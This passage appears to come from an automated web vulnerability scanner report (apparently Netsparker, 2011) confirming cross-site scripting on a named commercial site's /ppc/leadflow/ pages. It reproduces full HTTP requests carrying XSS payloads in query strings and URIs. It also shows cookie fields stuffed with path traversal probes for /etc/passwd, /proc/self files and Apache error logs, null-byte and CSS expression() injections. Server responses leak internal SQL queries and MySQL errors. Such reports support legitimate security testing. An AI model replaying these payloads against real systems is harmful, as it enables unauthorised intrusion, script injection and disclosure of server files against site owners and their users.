nsextt	GET	'"--></style></script><script>alert(0x0004EF)</script>

Request

GET /ppc/leadflow/wede00/?nsextt='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0004EF)%3C/script%3E HTTP/1.1
Referer: http://www.insideup.com/ppc/leadflow/wede00/project.php?catId=20001&iusrc=iupsc
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[../../../../../../../../../../proc/self/fd/2\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:22:09 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=9sj3d70vg3dbpkso5iiut7lqu0; path=/
Content-Length: 3033
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/?nsextt='"--></style></script><script>netsparker(0x0004EF)</script>' OR prj.project_page_url = 'leadflow/wede00/?nsextt='"--></style></script><script>netsparker(0x0004EF)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/?nsextt='"--></style></script><script>netsparker(0x0004EF)</script>' OR prj.project_page_url = 'leadflow/wede00/?nsextt='"--></style></script><script>netsparker(0x0004EF)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/?nsextt='"--></style></script><script>netsparker(0x0004EF)</script>' OR prj.project_page_url = 'leadflow/wede00/?nsextt='"--></style></script><script>netsparker(0x0004EF)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/?nsextt='"--></style></script><script>netsparker(0x0004EF)</script>' OR prj.project_page_url = 'leadflow/wede00/?nsextt='"--></style></script><script>netsparker(0x0004EF)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/?nsextt='"--></style></script><script>netsparker(0x0004EF)</script>' OR prj.project_page_url = 'leadflow/wede00/?nsextt='"--></style></script><script>netsparker(0x0004EF)</script>/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '></style></script><script>netsparker(0x0004EF)</script>/' union select prj.catI' at line 5

- /ppc/leadflow/

/ppc/leadflow/ CONFIRMED

http://www.insideup.com/ppc/leadflow/?nsextt='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0..

Parameters

Parameter	Type	Value
nsextt	GET	'"--></style></script><script>alert(0x0004F6)</script>

Request

GET /ppc/leadflow/?nsextt='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0004F6)%3C/script%3E HTTP/1.1
Referer: http://www.insideup.com/ppc/leadflow/wede00/project.php?catId=20001&iusrc=iupsc
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[../../../../../../../../../../proc/self/fd/2\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:22:12 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=4fk2qmcq53beqjoabeifsnm3e7; path=/
Content-Length: 2963
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/?nsextt='"--></style></script><script>netsparker(0x0004F6)</script>' OR prj.project_page_url = 'leadflow/?nsextt='"--></style></script><script>netsparker(0x0004F6)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/?nsextt='"--></style></script><script>netsparker(0x0004F6)</script>' OR prj.project_page_url = 'leadflow/?nsextt='"--></style></script><script>netsparker(0x0004F6)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/?nsextt='"--></style></script><script>netsparker(0x0004F6)</script>' OR prj.project_page_url = 'leadflow/?nsextt='"--></style></script><script>netsparker(0x0004F6)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/?nsextt='"--></style></script><script>netsparker(0x0004F6)</script>' OR prj.project_page_url = 'leadflow/?nsextt='"--></style></script><script>netsparker(0x0004F6)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/?nsextt='"--></style></script><script>netsparker(0x0004F6)</script>' OR prj.project_page_url = 'leadflow/?nsextt='"--></style></script><script>netsparker(0x0004F6)</script>/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '></style></script><script>netsparker(0x0004F6)</script>/' union select prj.catI' at line 5

- /ppc/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000542)%3C/script%3E

/ppc/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000542)%3C/script%3E CONFIRMED

http://www.insideup.com/ppc/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000542)%3C/script%3E

Parameters

Parameter	Type	Value
URI-BASED	Raw URI	'"--></style></script><script>alert(0x000542)</script>

Request

GET /ppc/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000542)%3C/script%3E HTTP/1.1
Referer: http://www.insideup.com/ppc/leadflow/wede00/project.php?catId=20001&iusrc=iupsc
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:22:37 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=takhlbbrch3l1oq05bjijkh6h3; path=/
Content-Length: 2793
Connection: close
Content-Type: text/html; charset=UTF-8

